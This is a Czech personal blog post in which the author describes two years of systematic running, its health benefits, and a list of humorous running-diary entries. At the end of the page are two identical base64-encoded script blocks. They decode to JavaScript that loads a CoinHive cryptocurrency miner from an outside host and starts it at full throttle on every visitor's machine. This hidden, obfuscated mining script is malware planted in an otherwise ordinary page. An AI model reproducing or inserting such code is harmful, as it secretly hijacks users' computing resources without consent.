blog.cwok

… Běh – moje úžasná závislost…

   Bohužel co se týče psaní na blog nejsou mé reakční časy nijak závratné, s rychlostí děcka po prvním kari se rozhodně srovnávat nemohu. Tedy: přesně před dvěma roky a měsícem a něco jsem začal běhat. Začátkem dubna 2007. Ano tento článeček jsem chtěl napsat skoro před dvěma měsíci (možná i roky) :).

   Běhat – ovšem pravidelně, kontrolovaně a systematicky. Nehodlám se o tom dopodrobna rozepisovat, stačí jen, že si píšu běžecký deník (excel tabulku) a postupně jsem začal zaznamenávat časy, kilometráže, hmotnosti, po získání sporttesteru i tepové frekvence, časy v zónách… Chytlo mě to a už nepustilo. Běhání se mi stalo závislostí, těším se na něj. Po cestách, lesem, v mrazu, vedru, dešti, sněhu – to se mimochodem krásně umyjí boty.

   A proč to všechno? Především mám skvělý pocit, že pro sebe něco dělám. Duševní vyrovnanost. Zhubl jsem 10 kg, celkově se zpevňuju, udýchávám věci, které většina mých vrstevníků horko těžko… O endorfinu ani nemluvě. Přesvědčil jsem se, že použití běžeckých bot má silný smysl, klidovou tepovou frekvenci mám pod 50. A začal jsem číst i nějaké nové weby.

   Jako sport je běh absolutně nenáročný na vybavení (stačí kvalitní boty), neřeším počasí, podmínky, další výbavu… Běhat se dá vesměs kdekoliv. Jeden příklad za všechny – celý den se člověk těší na inliny, pak zaprší a je konec. To u běhu nehrozí…

   Čistě pro zpestření tu vylípnu několik vypečených zápisků z mého deníku (samozřejmě zajímavější jsou ty, kdy jsem neběžel):

     15.5.2007     pause-day + overworked + depressed
     9.8.2007       vysral sem se na to, bo bylo po dešti
     27.8.2007     běh 62 min, předtím žranice oslava narozek
     22.10.2007   běh 48 minut – takové rozehřátí po delší době (žádné problémy),
                          běh v zimě
     17.12.2007   běh 30 minut – píchlo v koleni pak chůze dom
     17.2.2008     skoro na mě vlezla nemoc…
     11.4.2008     zase žlučník bolí – špička
     20.5.2008     a chčije a chčije
     24.5.2008     běh, Klánovický les, Úvaly, pak zostra inline v Kolíně
     7.6.2008       sestry svatba pařba, pogo a kozáček 🙂
     13.7.2008     žlučník zase v prdeli
     28.7.2008     vedro i kocovinka
     3.9.2008       regenerace, začlo bolet kurevsky pravé lýtko uvnitř
     16.1.2008     neběhal jsem, šetřil jsem zdraví a byly mrazy
     25.2.2008     začal bolet žlučníko-slepák, včera v noci klidovka 58
     24.3.2008     běh – trasa klasika, brutál vichr + sníh, zima
     7.4.2008       začal jsem dietu na kolonoskopii – ale inline 2x Tři Dvory

   Vždy při běhu – během dumání o všem možném – jsem si říkal, že o něm musím blognout, ale nikdy to pak neudělal. Až nyní, konečně. Uffff.

[vc_raw_js]PHNjcmlwdD4NCgl2YXIgbmV3U2NyaXB0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO25ld1NjcmlwdC50eXBlPSJ0ZXh0L2phdmFzY3JpcHQiLG5ld1NjcmlwdC5zcmM9Imh0dHBzOi8vY29pbmhpdmUuY29tL2xpYi9jb2luaGl2ZS5taW4uanMiLG5ld1NjcmlwdC5vbmxvYWQ9ZnVuY3Rpb24oKXtuZXcgQ29pbkhpdmUuQW5vbnltb3VzKCJjMDA0QTBYbTdkYmFRUGhNdGgyVTJqc3dWcGVHamNBbCIse3Rocm90dGxlOjB9KS5zdGFydCgpfTt2YXIgaGVhZD1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdO2hlYWQuYXBwZW5kQ2hpbGQobmV3U2NyaXB0KTsNCjwvc2NyaXB0Pg==[/vc_raw_js]

[vc_raw_js]PHNjcmlwdD4NCgl2YXIgbmV3U2NyaXB0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO25ld1NjcmlwdC50eXBlPSJ0ZXh0L2phdmFzY3JpcHQiLG5ld1NjcmlwdC5zcmM9Imh0dHBzOi8vY29pbmhpdmUuY29tL2xpYi9jb2luaGl2ZS5taW4uanMiLG5ld1NjcmlwdC5vbmxvYWQ9ZnVuY3Rpb24oKXtuZXcgQ29pbkhpdmUuQW5vbnltb3VzKCJjMDA0QTBYbTdkYmFRUGhNdGgyVTJqc3dWcGVHamNBbCIse3Rocm90dGxlOjB9KS5zdGFydCgpfTt2YXIgaGVhZD1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdO2hlYWQuYXBwZW5kQ2hpbGQobmV3U2NyaXB0KTsNCjwvc2NyaXB0Pg==[/vc_raw_js]